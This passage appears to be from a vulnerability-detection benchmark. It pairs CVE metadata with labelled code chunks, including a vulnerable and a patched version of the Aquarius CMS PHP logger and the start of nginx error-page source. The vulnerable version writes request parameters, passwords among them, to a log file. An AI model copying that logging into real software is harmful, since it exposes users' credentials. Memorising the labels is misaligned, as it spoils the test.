"operator": null}], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259."}, {"lang": "es", "value": "Una Desreferencia de Puntero NULL en el repositorio de GitHub vim/vim versiones anteriores a 9.0.0259."}], "evaluatorComment": null, "id": "CVE-2022-2980", "lastModified": "2023-05-03T12:16:09.687", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-08-25T20:15:09.587", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, {"source": "security@huntr.dev", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://huntr.dev/bounties/6e7b12a5-242c-453d-b39e-9625d563b0ea"}, {"source": "security@huntr.dev", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL/"}, {"source": "security@huntr.dev", "tags": null, "url": "https://security.gentoo.org/glsa/202305-16"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-476"}], "source": "security@huntr.dev", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-476"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, "type": "CWE-476"}
141
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * The Log class provides logging facilities.\n * Usually, a default logger is instantiated at initialization:\n * <pre>Log::$usuallogger = new Logger('/var/log/php_log', Log::INFO, Log::NEVER);</pre>\nwhich can then be used through the static methods (fail, warn, backtrace, info, message, debug):\n * <pre>Log::message(\"Fasten seatbelts!\");</pre>\n *\n * The logger can log to two places:\n * - A log file\n * - Print as HTML comment \n * The three constructor parameters give (1) the logfile location, (2) the threshold for logging to the logfile and (3) the threshold for logging to the output. \n * \n * Instead of a string message, the log methods accept exception objects as well. In this case, the backtrace of the exception will be shown in the log. So you can do:\n * <pre>\n * try {\n * // Something\n * } catch (Exception $e) {\n * Log::fail($e);\n * die(\":-(\");\n * }\n * </pre>\n * To get the exception and its trace in the log.\n*/\nclass Log {\n /** This never happens */\n const NEVER = 1000;\n /** Something's extremely wrong */\n const FAIL = 100; \n /** Unusual state */\n const WARN = 90;\n /** Informational messages (Logging usually stops a this level) */ \n const INFO = 50;\n /** Messages shown to user */\n const MESSAGE = 40; \n /** Output useful in debugging */\n const DEBUG = 20;\n /** SQL queries */\n const SQL = 15;\n /** Generate a backtrace */\n const BACKTRACE = 10; \n /** Everything goes */\n const ALL = 0; \n \n static $usuallogger = false; // Assign a logger here so that Log::info(\"Seatbelts fastened.\") works too.", " static function fail($msg) { if (self::$usuallogger) self::$usuallogger->fail($msg); }\n static function warn($msg) { if (self::$usuallogger)self::$usuallogger->warn($msg); }\n static function backtrace($msg) { if (self::$usuallogger)self::$usuallogger->backtrace($msg); }\n static function info($msg) { if (self::$usuallogger)self::$usuallogger->info($msg); }\n static function message($msg) { if (self::$usuallogger)self::$usuallogger->message($msg); }\n static function debug($msg) { if (self::$usuallogger)self::$usuallogger->debug($msg); }\n static function sql($msg) {if (self::$usuallogger) self::$usuallogger->sql($msg); }\n \n static function disable() {self::$usuallogger->disable();}\n static function enable() {self::$usuallogger->enable();}\n \n // backtrace function shamelessly ripped off of a php.net comment\n static function prettybacktrace($backtrace = false) {\n // Get a backtrace from here if none was given\n if (!$backtrace) {\n $backtrace = debug_backtrace();\n // Ignore the call to this function in the backtrace\n $backtrace = array_slice($backtrace, 1);\n }", " $output = \"\";\n \n foreach ($backtrace as $bt) {\n $args = '';\n if (@is_array($bt['args'])) {\n foreach ($bt['args'] as $a) {\n if (!empty($args)) {\n $args .= ', ';\n }\n switch (gettype($a)) {\n case 'integer':\n case 'double':\n $args .= $a;\n break;\n case 'string':\n $a = htmlspecialchars(substr($a, 0, 64)).((strlen($a) > 64) ? '...' : '');\n $args .= \"\\\"$a\\\"\";\n break;\n case 'array':\n $args .= 'Array(#'.count($a).')';\n break;\n case 'object':\n $args .= 'Object('.get_class($a).')';\n break;\n case 'resource':\n $args .= 'Resource('.strstr($a, '#').')';\n break;\n case 'boolean':\n $args .= $a ? 'True' : 'False';\n break;\n case 'NULL':\n $args .= 'NULL';\n break;\n default:\n $args .= 'Unknown($a)';\n }\n }\n }\n @$output .= \" === {$bt['class']}{$bt['type']}{$bt['function']}($args) in file '{$bt['file']}' on line {$bt['line']}\\n\";\n }\n \n $output .= \" ### {$_SERVER['REMOTE_ADDR']} requested {$_SERVER['REQUEST_URI']}\\n\";\n \n return $output;\n }\n}", "class Logger {", " /** Write log messages to this file */\n var $file;", " /** Log messages to file only if they're at least this level of severity */\n var $loglevel;", " /** echo output in HTML comments from this level */\n var $echolevel;", " /** Log to FirePHP from this level */\n var $firelevel;", " var $enabled = true;", " function fail($msg) { $this->log(Log::FAIL, \"FAIL\", $msg); }\n function warn($msg) { $this->log(Log::WARN, \"WARN\", $msg); }\n function info($msg) { $this->log(Log::INFO, \"INFO\", $msg); }\n function message($msg) { $this->log(Log::MESSAGE, \"MESSAGE\", $msg); }\n function debug($msg) { $this->log(Log::DEBUG, \"DEBUG\", $msg); }\n function sql($msg) { $this->log(Log::SQL, \"SQL\", $msg); }\n function backtrace($msg) { $this->log(Log::BACKTRACE, \"BACKTRACE\", $msg); }", " function __construct($file = false, $loglevel = Log::INFO, $echolevel = Log::NEVER, $firelevel = Log::NEVER) {\n if (is_string($loglevel)) $loglevel = constant(\"Log::$loglevel\");\n if (is_string($echolevel)) $echolevel = constant(\"Log::$echolevel\");\n if (is_string($firelevel)) $firelevel = constant(\"Log::$firelevel\");", " $this->loglevel = $loglevel;\n $this->echolevel = $echolevel;\n $this->firelevel = $firelevel;\n $this->file = $file;\n $this->debug(\"Initialized logging (file: $file, loglevel: $loglevel, echolevel: $echolevel)\");\n }", " function disable() {\n $this->enabled = false;\n }", " function enable() {\n $this->enabled = true;\n }", " function log($level, $leveltext, $msg) {\n // Run only if output will be used\n if ($level >= min($this->loglevel, $this->echolevel, $this->firelevel) && $this->enabled) {\n $logmessage = \"\";\n $backtrace = \"\";\n $showrequest = false; // Maybe show _REQUEST array\n // Process exceptions\n if ($msg instanceof Exception || $msg instanceof Error) {\n $excmessage = method_exists($msg, 'getDetailMessage') ? $msg->getDetailMessage() : $msg->getMessage();\n $logmessage = $leveltext.\": \".$excmessage.\"\\n\".Log::prettybacktrace($msg->getTrace());", " $showrequest = true;", " } else {\n $logmessage = $leveltext.\": \". print_r($msg,true).\"\\n\";\n // Generate a backtrace if it was requested or in severe cases\n if ($level == Log::BACKTRACE || $level >= Log::FAIL) {\n $backtrace = \"\\n\".Log::prettybacktrace();", " $showrequest = true;", " }\n }", " if (!headers_sent() && $level >= $this->firelevel) {\n $this->log_firephp($msg,$level);\n }\n \n // Append request variables to log message if so desired\n if ($showrequest && count($_REQUEST) > 0) $logmessage .= \"REQUEST \".print_r($_REQUEST, true);", " // Write to logfile\n if ($this->file && $level >= $this->loglevel) {\n $logfile = fopen($this->file, 'a');\n if ($logfile) {\n fwrite($logfile, date(\"d.m.Y-H:i:s\").\": $logmessage$backtrace\");\n fclose($logfile);\n }\n }", " // Print message as HTML comment\n if ($level >= $this->echolevel) {\n // Some messages contain double dashes which terminate HTML comments, insert zero width space\n $zeroed = '-​-'; // three chars, one you don't see\n $esc = str_replace('--', $zeroed, str_replace('--', $zeroed, \"$logmessage$backtrace\")); \n echo \"<!--\\n\".$esc.\" -->\";\n }\n }\n }\n \n function log_firephp($msg, $level) {\n if (!isset($this->firephp)) {\n require_once \"lib/FirePHP.class.php\";\n $this->firephp = FirePHP::getInstance(true);\n $this->firephp->setOptions(array(\n 'maxObjectDepth' => 5,\n 'maxArrayDepth' => 5,\n 'maxDepth' => 10,\n 'useNativeJsonEncode' => false, // Using native json_encode() lead to recursion warnings when logging traces\n 'includeLineNumbers' => true\n ));\n }", " $firebug_level = get(array(\n Log::FAIL => FirePHP::ERROR,\n Log::WARN => FirePHP::WARN,\n Log::INFO => FirePHP::INFO,\n Log::MESSAGE => FirePHP::INFO,\n Log::DEBUG => FirePHP::LOG,\n Log::SQL => FirePHP::DUMP,\n Log::BACKTRACE => FirePHP::TRACE,\n ), $level, FirePHP::LOG);\n $this->firephp->fb($msg, $firebug_level);\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [176], "buggy_code_start_loc": [169], "filenames": ["lib/log.php"], "fixing_code_end_loc": [173], "fixing_code_start_loc": [168], "message": "Aquarius CMS through 4.3.5 writes POST and GET parameters (including passwords) to a log file due to an overwriting of configuration parameters under certain circumstances.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:aquaverde:aquarius_cms:*:*:*:*:*:*:*:*", "matchCriteriaId": "FDB53276-2758-4A2C-BE1A-322845F981F9", "versionEndExcluding": null, "versionEndIncluding": "4.3.5", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Aquarius CMS through 4.3.5 writes POST and GET parameters (including passwords) to a log file due to an overwriting of configuration parameters under certain circumstances."}, {"lang": "es", "value": "Aquarius CMS hasta la versi\u00f3n 4.3.5 escribe los par\u00e1metros POST y GET (incluidas las contrase\u00f1as) en un archivo de registro debido a la sobrescritura de los par\u00e1metros de configuraci\u00f3n en ciertas circunstancias."}], "evaluatorComment": null, "id": "CVE-2019-9734", "lastModified": "2019-07-19T14:15:12.450", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2019-04-24T15:29:02.200", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/aquaverde/aquarius-core/commit/d1dfa5b8280388a0b6f2f341f0681522dbea03b0"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.tryption.ch/2019/04/19/cve-2019-9734-password-leakage-im-aquarius-cms/"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-532"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/aquaverde/aquarius-core/commit/d1dfa5b8280388a0b6f2f341f0681522dbea03b0"}, "type": "CWE-532"}
142
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "/**\n * The Log class provides logging facilities.\n * Usually, a default logger is instantiated at initialization:\n * <pre>Log::$usuallogger = new Logger('/var/log/php_log', Log::INFO, Log::NEVER);</pre>\nwhich can then be used through the static methods (fail, warn, backtrace, info, message, debug):\n * <pre>Log::message(\"Fasten seatbelts!\");</pre>\n *\n * The logger can log to two places:\n * - A log file\n * - Print as HTML comment \n * The three constructor parameters give (1) the logfile location, (2) the threshold for logging to the logfile and (3) the threshold for logging to the output. \n * \n * Instead of a string message, the log methods accept exception objects as well. In this case, the backtrace of the exception will be shown in the log. So you can do:\n * <pre>\n * try {\n * // Something\n * } catch (Exception $e) {\n * Log::fail($e);\n * die(\":-(\");\n * }\n * </pre>\n * To get the exception and its trace in the log.\n*/\nclass Log {\n /** This never happens */\n const NEVER = 1000;\n /** Something's extremely wrong */\n const FAIL = 100; \n /** Unusual state */\n const WARN = 90;\n /** Informational messages (Logging usually stops a this level) */ \n const INFO = 50;\n /** Messages shown to user */\n const MESSAGE = 40; \n /** Output useful in debugging */\n const DEBUG = 20;\n /** SQL queries */\n const SQL = 15;\n /** Generate a backtrace */\n const BACKTRACE = 10; \n /** Everything goes */\n const ALL = 0; \n \n static $usuallogger = false; // Assign a logger here so that Log::info(\"Seatbelts fastened.\") works too.", " static function fail($msg) { if (self::$usuallogger) self::$usuallogger->fail($msg); }\n static function warn($msg) { if (self::$usuallogger)self::$usuallogger->warn($msg); }\n static function backtrace($msg) { if (self::$usuallogger)self::$usuallogger->backtrace($msg); }\n static function info($msg) { if (self::$usuallogger)self::$usuallogger->info($msg); }\n static function message($msg) { if (self::$usuallogger)self::$usuallogger->message($msg); }\n static function debug($msg) { if (self::$usuallogger)self::$usuallogger->debug($msg); }\n static function sql($msg) {if (self::$usuallogger) self::$usuallogger->sql($msg); }\n \n static function disable() {self::$usuallogger->disable();}\n static function enable() {self::$usuallogger->enable();}\n \n // backtrace function shamelessly ripped off of a php.net comment\n static function prettybacktrace($backtrace = false) {\n // Get a backtrace from here if none was given\n if (!$backtrace) {\n $backtrace = debug_backtrace();\n // Ignore the call to this function in the backtrace\n $backtrace = array_slice($backtrace, 1);\n }", " $output = \"\";\n \n foreach ($backtrace as $bt) {\n $args = '';\n if (@is_array($bt['args'])) {\n foreach ($bt['args'] as $a) {\n if (!empty($args)) {\n $args .= ', ';\n }\n switch (gettype($a)) {\n case 'integer':\n case 'double':\n $args .= $a;\n break;\n case 'string':\n $a = htmlspecialchars(substr($a, 0, 64)).((strlen($a) > 64) ? '...' : '');\n $args .= \"\\\"$a\\\"\";\n break;\n case 'array':\n $args .= 'Array(#'.count($a).')';\n break;\n case 'object':\n $args .= 'Object('.get_class($a).')';\n break;\n case 'resource':\n $args .= 'Resource('.strstr($a, '#').')';\n break;\n case 'boolean':\n $args .= $a ? 'True' : 'False';\n break;\n case 'NULL':\n $args .= 'NULL';\n break;\n default:\n $args .= 'Unknown($a)';\n }\n }\n }\n @$output .= \" === {$bt['class']}{$bt['type']}{$bt['function']}($args) in file '{$bt['file']}' on line {$bt['line']}\\n\";\n }\n \n $output .= \" ### {$_SERVER['REMOTE_ADDR']} requested {$_SERVER['REQUEST_URI']}\\n\";\n \n return $output;\n }\n}", "class Logger {", " /** Write log messages to this file */\n var $file;", " /** Log messages to file only if they're at least this level of severity */\n var $loglevel;", " /** echo output in HTML comments from this level */\n var $echolevel;", " /** Log to FirePHP from this level */\n var $firelevel;", " var $enabled = true;", " function fail($msg) { $this->log(Log::FAIL, \"FAIL\", $msg); }\n function warn($msg) { $this->log(Log::WARN, \"WARN\", $msg); }\n function info($msg) { $this->log(Log::INFO, \"INFO\", $msg); }\n function message($msg) { $this->log(Log::MESSAGE, \"MESSAGE\", $msg); }\n function debug($msg) { $this->log(Log::DEBUG, \"DEBUG\", $msg); }\n function sql($msg) { $this->log(Log::SQL, \"SQL\", $msg); }\n function backtrace($msg) { $this->log(Log::BACKTRACE, \"BACKTRACE\", $msg); }", " function __construct($file = false, $loglevel = Log::INFO, $echolevel = Log::NEVER, $firelevel = Log::NEVER) {\n if (is_string($loglevel)) $loglevel = constant(\"Log::$loglevel\");\n if (is_string($echolevel)) $echolevel = constant(\"Log::$echolevel\");\n if (is_string($firelevel)) $firelevel = constant(\"Log::$firelevel\");", " $this->loglevel = $loglevel;\n $this->echolevel = $echolevel;\n $this->firelevel = $firelevel;\n $this->file = $file;\n $this->debug(\"Initialized logging (file: $file, loglevel: $loglevel, echolevel: $echolevel)\");\n }", " function disable() {\n $this->enabled = false;\n }", " function enable() {\n $this->enabled = true;\n }", " function log($level, $leveltext, $msg) {\n // Run only if output will be used\n if ($level >= min($this->loglevel, $this->echolevel, $this->firelevel) && $this->enabled) {\n $logmessage = \"\";\n $backtrace = \"\";\n $showrequest = false; // Maybe show _REQUEST array\n // Process exceptions\n if ($msg instanceof Exception || $msg instanceof Error) {\n $excmessage = method_exists($msg, 'getDetailMessage') ? $msg->getDetailMessage() : $msg->getMessage();\n $logmessage = $leveltext.\": \".$excmessage.\"\\n\".Log::prettybacktrace($msg->getTrace());", "", " } else {\n $logmessage = $leveltext.\": \". print_r($msg,true).\"\\n\";\n // Generate a backtrace if it was requested or in severe cases\n if ($level == Log::BACKTRACE || $level >= Log::FAIL) {\n $backtrace = \"\\n\".Log::prettybacktrace();", "", " }\n }", " if (!headers_sent() && $level >= $this->firelevel) {\n $this->log_firephp($msg,$level);\n }\n \n // Append request variables to log message if so desired\n if ($showrequest && count($_REQUEST) > 0) $logmessage .= \"REQUEST \".print_r($_REQUEST, true);", " // Write to logfile\n if ($this->file && $level >= $this->loglevel) {\n $logfile = fopen($this->file, 'a');\n if ($logfile) {\n fwrite($logfile, date(\"d.m.Y-H:i:s\").\": $logmessage$backtrace\");\n fclose($logfile);\n }\n }", " // Print message as HTML comment\n if ($level >= $this->echolevel) {\n // Some messages contain double dashes which terminate HTML comments, insert zero width space\n $zeroed = '-​-'; // three chars, one you don't see\n $esc = str_replace('--', $zeroed, str_replace('--', $zeroed, \"$logmessage$backtrace\")); \n echo \"<!--\\n\".$esc.\" -->\";\n }\n }\n }\n \n function log_firephp($msg, $level) {\n if (!isset($this->firephp)) {\n require_once \"lib/FirePHP.class.php\";\n $this->firephp = FirePHP::getInstance(true);\n $this->firephp->setOptions(array(\n 'maxObjectDepth' => 5,\n 'maxArrayDepth' => 5,\n 'maxDepth' => 10,\n 'useNativeJsonEncode' => false, // Using native json_encode() lead to recursion warnings when logging traces\n 'includeLineNumbers' => true\n ));\n }", " $firebug_level = get(array(\n Log::FAIL => FirePHP::ERROR,\n Log::WARN => FirePHP::WARN,\n Log::INFO => FirePHP::INFO,\n Log::MESSAGE => FirePHP::INFO,\n Log::DEBUG => FirePHP::LOG,\n Log::SQL => FirePHP::DUMP,\n Log::BACKTRACE => FirePHP::TRACE,\n ), $level, FirePHP::LOG);\n $this->firephp->fb($msg, $firebug_level);\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [176], "buggy_code_start_loc": [169], "filenames": ["lib/log.php"], "fixing_code_end_loc": [173], "fixing_code_start_loc": [168], "message": "Aquarius CMS through 4.3.5 writes POST and GET parameters (including passwords) to a log file due to an overwriting of configuration parameters under certain circumstances.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:aquaverde:aquarius_cms:*:*:*:*:*:*:*:*", "matchCriteriaId": "FDB53276-2758-4A2C-BE1A-322845F981F9", "versionEndExcluding": null, "versionEndIncluding": "4.3.5", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Aquarius CMS through 4.3.5 writes POST and GET parameters (including passwords) to a log file due to an overwriting of configuration parameters under certain circumstances."}, {"lang": "es", "value": "Aquarius CMS hasta la versi\u00f3n 4.3.5 escribe los par\u00e1metros POST y GET (incluidas las contrase\u00f1as) en un archivo de registro debido a la sobrescritura de los par\u00e1metros de configuraci\u00f3n en ciertas circunstancias."}], "evaluatorComment": null, "id": "CVE-2019-9734", "lastModified": "2019-07-19T14:15:12.450", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0"}, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2019-04-24T15:29:02.200", "references": [{"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/aquaverde/aquarius-core/commit/d1dfa5b8280388a0b6f2f341f0681522dbea03b0"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://www.tryption.ch/2019/04/19/cve-2019-9734-password-leakage-im-aquarius-cms/"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-532"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/aquaverde/aquarius-core/commit/d1dfa5b8280388a0b6f2f341f0681522dbea03b0"}, "type": "CWE-532"}
142
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (C) Igor Sysoev\n * Copyright (C) Nginx, Inc.\n */", "\n#include <ngx_config.h>\n#include <ngx_core.h>\n#include <ngx_http.h>\n#include <nginx.h>", "\nstatic ngx_int_t ngx_http_send_error_page(ngx_http_request_t *r,\n ngx_http_err_page_t *err_page);\nstatic ngx_int_t ngx_http_send_special_response(ngx_http_request_t *r,\n ngx_http_core_loc_conf_t *clcf, ngx_uint_t err);\nstatic ngx_int_t ngx_http_send_refresh(ngx_http_request_t *r);", "\nstatic u_char ngx_http_error_full_tail[] =\n\"<hr><center>\" NGINX_VER \"</center>\" CRLF\n\"</body>\" CRLF\n\"</html>\" CRLF\n;", "\nstatic u_char ngx_http_error_build_tail[] =\n\"<hr><center>\" NGINX_VER_BUILD \"</center>\" CRLF\n\"</body>\" CRLF\n\"</html>\" CRLF\n;", "\nstatic u_char ngx_http_error_tail[] =\n\"<hr><center>nginx</center>\" CRLF\n\"</body>\" CRLF\n\"</html>\" CRLF\n;", "\nstatic u_char ngx_http_msie_padding[] =\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n;", "\nstatic u_char ngx_http_msie_refresh_head[] =\n\"<html><head><meta http-equiv=\\\"Refresh\\\" content=\\\"0; URL=\";", "\nstatic u_char ngx_http_msie_refresh_tail[] =\n\"\\\"></head><body></body></html>\" CRLF;", "\nstatic char ngx_http_error_301_page[] =\n\"<html>\" CRLF\n\"<head><title>301 Moved Permanently</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>301 Moved Permanently</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_302_page[] =\n\"<html>\" CRLF\n\"<head><title>302 Found</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>302 Found</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_303_page[] =\n\"<html>\" CRLF\n\"<head><title>303 See Other</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>303 See Other</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_307_page[] =\n\"<html>\" CRLF\n\"<head><title>307 Temporary Redirect</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>307 Temporary Redirect</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_308_page[] =\n\"<html>\" CRLF\n\"<head><title>308 Permanent Redirect</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>308 Permanent Redirect</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_400_page[] =\n\"<html>\" CRLF\n\"<head><title>400 Bad Request</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_401_page[] =\n\"<html>\" CRLF\n\"<head><title>401 Authorization Required</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>401 Authorization Required</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_402_page[] =\n\"<html>\" CRLF\n\"<head><title>402 Payment Required</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>402 Payment Required</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_403_page[] =\n\"<html>\" CRLF\n\"<head><title>403 Forbidden</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>403 Forbidden</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_404_page[] =\n\"<html>\" CRLF\n\"<head><title>404 Not Found</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>404 Not Found</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_405_page[] =\n\"<html>\" CRLF\n\"<head><title>405 Not Allowed</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>405 Not Allowed</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_406_page[] =\n\"<html>\" CRLF\n\"<head><title>406 Not Acceptable</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>406 Not Acceptable</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_408_page[] =\n\"<html>\" CRLF\n\"<head><title>408 Request Time-out</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>408 Request Time-out</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_409_page[] =\n\"<html>\" CRLF\n\"<head><title>409 Conflict</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>409 Conflict</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_410_page[] =\n\"<html>\" CRLF\n\"<head><title>410 Gone</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>410 Gone</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_411_page[] =\n\"<html>\" CRLF\n\"<head><title>411 Length Required</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>411 Length Required</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_412_page[] =\n\"<html>\" CRLF\n\"<head><title>412 Precondition Failed</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>412 Precondition Failed</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_413_page[] =\n\"<html>\" CRLF\n\"<head><title>413 Request Entity Too Large</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>413 Request Entity Too Large</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_414_page[] =\n\"<html>\" CRLF\n\"<head><title>414 Request-URI Too Large</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>414 Request-URI Too Large</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_415_page[] =\n\"<html>\" CRLF\n\"<head><title>415 Unsupported Media Type</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>415 Unsupported Media Type</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_416_page[] =\n\"<html>\" CRLF\n\"<head><title>416 Requested Range Not Satisfiable</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>416 Requested Range Not Satisfiable</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_421_page[] =\n\"<html>\" CRLF\n\"<head><title>421 Misdirected Request</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>421 Misdirected 